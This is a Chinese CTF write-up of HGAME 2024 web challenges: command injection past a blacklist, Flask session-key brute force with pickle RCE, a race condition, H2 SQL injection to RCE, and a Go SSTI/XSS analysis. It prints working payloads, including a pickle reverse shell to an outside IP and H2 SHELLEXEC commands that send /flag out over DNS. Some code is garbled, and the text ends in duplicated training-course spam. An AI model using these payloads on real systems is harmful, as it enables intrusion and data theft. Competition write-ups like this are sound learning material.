render_template('index.html',result=result) @ app.route('/post',methods=['POST'])
def post():
if request.method == ‘POST’:
user_input =request.form[‘user_input’]
result =run_cowsay(user_input)
return
render_template(‘index.html’,result=result)
def run_cowsay(text):
try:
if(waf(text)):
cmd_output =subprocess.check_output('cowsay ’ +text, text=True,stderr=subprocess.STDOUT, shell=True)
return cmd_output.strip()
else:
cmd_output =subprocess.check_output(‘cowsay Waf!’,
text=True, stderr=subprocess.STDOUT,
shell=True)
return cmd_output.strip()
except subprocess.CalledProcessError as e:
return run_cowsay("ERROR!")
def waf(string):
blacklist = [‘echo’,‘cat’, ‘tee’, ‘;’, ‘|’, ‘&’, ‘<’,‘>’, ‘\’, ‘flag’]
for black in blacklist:
if (black in string):
return False
return True
if name == ‘__main__’: app.run(“0.0.0.0”, port=80)
flag位置:`/flag_is_here/flag_c0w54y`
![image-20240207002254334](https://img-blog.csdnimg.cn/img_convert/aaffb115bfd011e0b104b5acc0fa9e1b.png)
hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}
## myflask
题目描述:善用搜索引擎,容器中的 Python 版本为 3.11
![image-20240206233929260](https://img-blog.csdnimg.cn/img_convert/8aa45522b7be038debefc2bd743b2650.png)
直接给了源码:
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone
currentDateAndTime = datetime.now(timezone(‘Asia/Shanghai’))
currentTime = currentDateAndTime.strftime(“%H%M%S”)
app = Flask(name)
Tips: Try to crack this first ↓
app.config[‘SECRET_KEY’] = currentTime
print(currentTime)
@app.route(‘/’)
def index():
session[‘username’] = ‘guest’
return send_file(‘app.py’)
@app.route(‘/flag’, methods=[‘GET’, ‘POST’])
def flag():
if not session:
return ‘There is no session available in your client 😦’
if request.method == ‘GET’:
return ‘You are {} now’.format(session[‘username’])
# For POST requests from admin
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle\_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return 'Access Denied'
if name==‘__main__’:
app.run(debug=True, host=“0.0.0.0”)
两个步骤。1、破解session;2、pickle实现RCE
session密钥是当前时间,在根路由刷新,`/flag`路由刷新网页不改变session。
![image-20240206234444244](https://img-blog.csdnimg.cn/img_convert/13f9f257677f3613f0d343c2ecae2e1c.png)
我当前时间戳(密钥)是234221。
![image-20240206234455231](https://img-blog.csdnimg.cn/img_convert/240df422d5e3c3b1658ac328dbbc89e6.png)
我们小范围爆破即可。`230000`->`234221`
当前session:
eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4
脚本解密看看结构
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b’.‘, 1)
payload, timestamp = payload.rsplit(b’.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if name == ‘__main__’:
print(decryption(“eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4”.encode())) #输入session
非常的朴实无华
![image-20240206234832747](https://img-blog.csdnimg.cn/img_convert/78cc2f4f8748b849407e184e2a5b911d.png)
爆破密钥脚本:
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys
path = “wordlist.txt”
print("Generating wordlist… ")
with open(path,“w”) as f:
#permutations with repetition
[f.write(‘23’+“”.join(x)+‘’+“\n”) for x in itertools.product(‘0123456789’, repeat=4)] #加上前缀
#url = “http://47.115.201.35:8000/index”
#cookie_tamper = r.head(url).cookies.get_dict()[‘session’]
cookie_tamper=‘eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4’
print("Got cookie: " + cookie_tamper)
print(“Cracker Started…”)
obj = flask_unsign.Cracker(value=cookie_tamper)
before = time.time()
with wordlist(path, parse_lines=False) as iterator:
obj.crack(iterator)
secret = “”
if obj.secret:
secret =obj.secret.decode()
print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")
signer = flask_unsign.sign({“time”:time.time(),“authorized”:True},secret=secret)
密钥`233629`
![image-20240206235214865](https://img-blog.csdnimg.cn/img_convert/18c65a912e657b8acd87f883df522217.png)
之后`flask_unsign`工具伪造session即可。
flask-unsign --sign --cookie “{‘username’: ‘admin’}” --secret ‘233629’
![image-20240207000052384](https://img-blog.csdnimg.cn/img_convert/74954c82cc62bfe15a0d3374c67fa080.png)
伪造成功,开始第二步。
![image-20240207000125898](https://img-blog.csdnimg.cn/img_convert/f98ce91037312c6cc61112d2d8e79c62.png)
注意,pickle,版本要一致,版本是311。
脚本:
import pickle
import os
import base64
class aaa():
def __reduce__(self):
return(os.system,(‘bash -c “bash -i >& /dev/tcp/120.46.41.173/9023 0>&1”’,))
a= aaa()
payload=pickle.dumps(a)
payload=base64.b64encode(payload)
print(payload)
寄了,我就知道没这么简单。
![image-20240207001514534](https://img-blog.csdnimg.cn/img_convert/07c6c850f9af8f2e821e7ea7c5265bfb.png)
报错看不太出来什么。我之前生成pickle那个引用了os包,可能环境没有,换个脚本。
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval, (“__import__(‘os’).popen(‘tac /flag’).read()”,))
a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
![image-20240207001941213](https://img-blog.csdnimg.cn/img_convert/391db080c1d011100e625cdbce4b11e6.png)
果然如此。payload:
POST:
pickle_data=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu
![image-20240207001842683](https://img-blog.csdnimg.cn/img_convert/9a596ab27a051b7f6b38993a8bb5abd1.png)
## Select More Courses
题目描述:ma5hr00m wants to take more courses, but he may be racing against time. Can you help him?
hint:
>
> 可参考的弱密码字典:https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt
>
>
>
开题,首先要登录,注意系统提示。
![image-20240211235128609](https://img-blog.csdnimg.cn/img_convert/a9dd6c2fd71416720c7600bd59abc9ea.png)
密码直接拿hint给的密码本爆破。密码是`qwert123`
![image-20240211235338463](https://img-blog.csdnimg.cn/img_convert/06f3166cb24b393dda69b2c4e026b2ff.png)
点击扩容:
![image-20240211235445477](https://img-blog.csdnimg.cn/img_convert/162e3bfe5034f0fd1aa8db06f07e6ad7.png)
提示和时间赛跑
![image-20240211235511887](https://img-blog.csdnimg.cn/img_convert/96f9903b9eaef57af1fa57d7d3dfaf1e.png)
![image-20240212000035059](https://img-blog.csdnimg.cn/img_convert/8d19c233d1063acf503bfc71821e9caa.png)
还有一个是选课界面,只需要选一个。
![image-20240211235958169](https://img-blog.csdnimg.cn/img_convert/7d0e2062345edc35166f8bcdd3c6443e.png)
猜测这里要同时选课+申请。预期应该是双线程脚本,我直接双开爆破了。
![image-20240212000128964](https://img-blog.csdnimg.cn/img_convert/5f118f5a9dfd67ce72883a4367140b23.png)
选上了。
![image-20240211235926902](https://img-blog.csdnimg.cn/img_convert/fb699ecf95f3fd81dbb5db622f1df2e1.png)
## search4member
考点总结:SQL注入(堆叠)+h2database RCE漏洞
题目描述:Vidar-Team have so much members,so 1ue write an api to search…
hint:
>
> 出题人失误;忘写connection.close();导致多次payload可使服务dos;请本地打通再尝试远程环境;带来不便请见谅
>
>
>
有附件给了源码。是java的SQL。导入IDEA看看。
package org.vidar.controller;
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Inject;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.handle.ModelAndView;
import org.vidar.config.DbManager;
import javax.sql.DataSource;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
@Controller
public class SearchController {
@Inject
private DbManager dbManager;
@Mapping("/")
public ModelAndView search(@Param(defaultValue = "web") String keyword) throws SQLException {
List<String> results = new ArrayList<>();
if (keyword != null & !keyword.equals("")) {
String sql = "SELECT \* FROM member WHERE intro LIKE '%" + keyword + "%';";
DataSource dataSource = dbManager.getDataSource();
Statement statement = dataSource.getConnection().createStatement();
ResultSet resultSet = statement.executeQuery(sql);
while (resultSet.next()) {
results.add(resultSet.getString("id") + " : "
+ resultSet.getString("intro") + " : "
+ resultSet.getString("blog"));
}
resultSet.close();
statement.close();
}
ModelAndView model = new ModelAndView("search.ftl");
model.put("results", results);
return model;
}
}
数据库结构如下:
DROP TABLE IF EXISTS member;
CREATE TABLE member
(
id VARCHAR(30) NOT NULL UNIQUE COMMENT ‘id’,
intro VARCHAR(255) NOT NULL COMMENT ‘intro’,
blog VARCHAR(255) NOT NULL COMMENT ‘blog’
);
INSERT INTO member (id, intro, blog)
VALUES (【xxx】);
测试,可以sql注入。payload:
?keyword=%E4%BC%9A%E9%95%BF%25’%3B–%2B
解码后:会长%';–+
![image-20240212181636651](https://img-blog.csdnimg.cn/img_convert/6b9784d7458712a6d80b9be854096ea9.png)
获取数据库:(数据库名字为`H2`)
?keyword=zzz%25’ and 1>2 union SELECT 1,2,database();–+
![image-20240212182946225](https://img-blog.csdnimg.cn/img_convert/018c54dcafd3f4637e68c79601433819.png)
奇怪的数据库名字+数据库中找不到flag,这题可能不是简单的SQL注入。
开始搜索引擎,找到了`h2database`有一个RCE漏洞!
![image-20240212191056918](https://img-blog.csdnimg.cn/img_convert/4c25ec02ce88b63ac5021fd00bf29a1c.png)
参考:
[H2 database漏洞复现 - Running\_J - 博客园 (cnblogs.com)]( )
[Spring Boot Actuator hikari配置不当导致的远程命令执行漏洞 - 卖小女孩的小男孩 - 博客园 (cnblogs.com)]( )
这个总的来说就是创建一个数据库函数 SHELLEXEC ,函数可以直接执行命令
测试payload:(SQL注入+H2 RCE)(参照两个参考文章得出)(两个都可以)
?keyword=zzz%25’;CREATE ALIAS SHELLEXEC AS S t r i n g s h e l l e x e c ( S t r i n g c m d ) t h r o w s j a v a . i o . I O E x c e p t i o n j a v a . u t i l . S c a n n e r s = n e w j a v a . u t i l . S c a n n e r ( R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) . g e t I n p u t S t r e a m ( ) ) . u s e D e l i m i t e r ( " A " ) ; r e t u r n s . h a s N e x t ( ) ? s . n e x t ( ) : " " ; String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } Stringshellexec(Stringcmd)throwsjava.io.IOExceptionjava.util.Scanners=newjava.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("A");returns.hasNext()?s.next():"";;CALL SHELLEXEC(‘curl 28zrgzsc.requestrepo.com’);–+
?keyword=zzz%25’;CREATE ALIAS SHELLEXEC AS ‘String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}’; CALL SHELLEXEC(‘curl 28zrgzsc.requestrepo.com’);–+
测试payload,发现可以被DNS接收。
![image-20240212202742839](https://img-blog.csdnimg.cn/img_convert/401a28041cc31433a1c617c1126f790d.png)
最终payload:(执行命令)(之前`CREATE ALIAS SHELLEXEC`已经创建过`SHELLEXEC`函数,无需重复创建)(反弹shell失败了,尝试DNS带出flag)
?keyword=zzz%25’;CALL SHELLEXEC(‘bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}’);–+
最终payload带出flag成功。
![image-20240212203405710](https://img-blog.csdnimg.cn/img_convert/0fc503863d29271b9196cc4fd9959a2d.png)
## 梅开二度
考点总结:Go语言+SSTI+XSS
题目描述:
![image-20240212204141634](https://img-blog.csdnimg.cn/img_convert/41a8ed4206f1c8d971141f305559556d.png)
开题:
![image-20240212204645857](https://img-blog.csdnimg.cn/img_convert/93d74d3a49f36a1120467a12a10fb6bf.png)
后端代码实现:
![image-20240212204704451](https://img-blog.csdnimg.cn/img_convert/fdefd099d885683fb6d898a9f510d97c.png)
看这`{{}}`感觉好像SSTI,又说flag在bot手上,怀疑是XSS。有意思,没怎么学过go,边做边学吧。
搜索引擎启动,搜索关键字 GO SSTI XSS 安全漏洞。真能搜到,Go的SSTI危害比较小,能用的基本上只有XSS。不像Jinja2那样可以RCE。
查找到有用的参考文章:
[浅学Go下的ssti - SecPulse.COM | 安全脉搏]( )
[Golang中的SSTI | CoolCat’ Blog (thekingofduck.com)]( )
[Go SSTI初探 | tyskillのBlog]( )
https://blog.dexter0us.com/posts/go-blogs-hacktivitycon-2021-writeup/
有附件,看看源码:(注释来自GPT4.0)
// 导入必要的包
import (
“context” // 用于创建和传递上下文
“log” // 用于记录日志
“net/url” // 用于解析URL
“os” // 用于读取环境变量和文件系统
“regexp” // 用于正则表达式匹配
“sync” // 用于同步goroutine
“text/template” // 用于处理文本模板,存在XSS!
“time” // 用于处理时间
"github.com/chromedp/chromedp" // ChromeDP用于控制Chrome浏览器
"github.com/gin-gonic/gin" // Gin是一个HTTP Web框架
"golang.org/x/net/html" // 用于操作HTML
)
// 预编译的正则表达式,用于检查模板字符串中是否包含非法词汇
var re = regexp.MustCompile(script|file|on
)
// 全局锁,用于同步访问
var lock sync.Mutex
func main() {
// 创建一个ChromeDP执行环境,配置Chrome运行参数
allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
chromedp.NoSandbox, chromedp.DisableGPU)…)
defer cancel() // 确保在main函数结束时取消上下文,释放资源
// 创建一个Gin路由器
r := gin.Default()
// 处理根路径的GET请求,动态生成HTML页面
r.GET("/", func(c \*gin.Context) {
tmplStr := c.Query("tmpl") // 从查询参数获取模板字符串
if tmplStr == "" {
tmplStr = defaultTmpl // 若未提供,则使用默认模板
} else {
// 检查模板字符串是否合法
if re.MatchString(tmplStr) {
c.String(403, "tmpl contains invalid word")
return
}
if len(tmplStr) > 50 {
c.String(403, "tmpl is too long")
return
}
tmplStr = html.EscapeString(tmplStr) // 对模板字符串进行HTML转义
}
tmpl, err := template.New("resp").Parse(tmplStr) // 解析模板
if err != nil {
c.String(500, "parse template error: %v", err)
return
}
if err := tmpl.Execute(c.Writer, c); err != nil { // 执行模板,生成响应
c.String(500, "execute template error: %v", err)
}
})
// 处理"/bot"路径的GET请求,模拟浏览器访问提供的URL
r.GET("/bot", func(c \*gin.Context) {
rawURL := c.Query("url") // 从查询参数获取URL
u, err := url.Parse(rawURL) // 解析URL
if err != nil {
c.String(403, "url is invalid")
return
}
if u.Host != "127.0.0.1:8080" { // 限制URL的主机地址
c.String(403, "host is invalid")
return
}
go func() { // 在新的goroutine中执行,以非阻塞方式处理请求
lock.Lock() // 在访问共享资源前加锁
defer lock.Unlock() // 确保在函数结束时释放锁
ctx, cancel := chromedp.NewContext(allocCtx,
chromedp.WithBrowserOption(chromedp.WithDialTimeout(10\*time.Second)),
)
defer cancel()
ctx, \_ = context.WithTimeout(ctx, 20\*time.Second) // 设置上下文超时
if err := chromedp.Run(ctx,
chromedp.Navigate(u.String()), // 导航到指定的URL
chromedp.Sleep(time.Second\*10), // 等待页面加载
); err != nil {
log.Println(err) // 记录错误
}
}()
c.String(200, "bot will visit it.") // 响应客户端
})
// 处理"/flag"路径的GET请求,仅允许来自localhost的请求
r.GET("/flag", func(c \*gin.Context) {
if c.RemoteIP() != "127.0.0.1" { // 检查请求来源IP地址
c.String(403, "you are not localhost")
return
}
flag, err := os.ReadFile("/flag") // 读取flag文件
if err != nil {
c.String(500, "read flag error")
return
}
c.SetCookie("flag", string(flag), 3600, "/", "", false, true) // 将flag设置为cookie
c.Status(200) // 发送200状态码
})
// 启动Gin服务器,监听8080端口
r.Run(":8080")
}
// defaultTmpl是默认的HTML模板,用于生成响应页面
const defaultTmpl = `
分析源码:
1、导包中的`text/template`(个人认为是Go语言的XSS标志)
Go 提供了两个模板包。一个是 `text/template`,另一个是`html/template`。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序。
template常用基本语法:
在{{}}内的操作称之为pipeline
在template中,点"."代表当前作用域的当前对象
{{.Query “aaa”}} 调用一个名为Query的方法,并传递字符串"aaa"作为参数
{{.}} 表示当前对象,如user对象
{{.FieldName}} 表示对象的某个字段
{{range …}}{{end}} go中for…range语法类似,循环
{{with …}}{{end}} 当前对象的值,上下文
{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择
{{xxx | xxx}} 左边的输出作为右边的输入
{{template “navbar”}} 引入子模版
2、var re = regexp.MustCompile(`script|file|on`)
黑名单过滤`script`、`file`、`on`
3、if len(tmplStr) > 50
限制长度50以内。(当时想着payload被限制50以内那就麻烦了)(之后想到可以绕过的~)
4、tmplStr = html.EscapeString(tmplStr)
进行转义
![image-20240212234259808](https://img-blog.csdnimg.cn/img_convert/5f46dda96cb92e230b9023c4652125b2.png)
5、根路由`\`存在SSTI,注入点是`tmpl`
![image-20240212234516553](https://img-blog.csdnimg.cn/img_convert/2781b4b55576a382458df61ac1c1edcd.png)
**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/65542216303b03ccae433cc08531ca9c.png)
![img](https://img-blog.csdnimg.cn/img_convert/5b700e4c9168bffb13ec0126015e7d82.png)
![img](https://img-blog.csdnimg.cn/img_convert/33a056055da9a1493a8052fe35132577.png)
![img](https://img-blog.csdnimg.cn/img_convert/cb59c9a63bee72cf1029d8b549d57f4c.png)
![img](https://img-blog.csdnimg.cn/img_convert/2b7b8a3bb547c5522c5d6b0cf25e808a.png)
![img](https://img-blog.csdnimg.cn/img_convert/1849c574493dc0d651250ce676d8a8fa.png)
**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!**
**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**
**如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)**
![img](https://img-blog.csdnimg.cn/img_convert/24a7d6a85ed316261ffb4db5ebc6510e.png)
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
***93道网络安全面试题***
![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)
![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)
![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)
内容实在太多,不一一截图了
### 黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
#### 1️⃣零基础入门
##### ① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。
![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)
##### ② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)
**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
![img](https://img-blog.csdnimg.cn/img_convert/2be4cb3abe4865d30acc775411b415e4.png)
![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)
![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)
内容实在太多,不一一截图了
### 黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
#### 1️⃣零基础入门
##### ① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。
![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)
##### ② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)
**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
[外链图片转存中...(img-Fkq8ttbv-1712835033128)]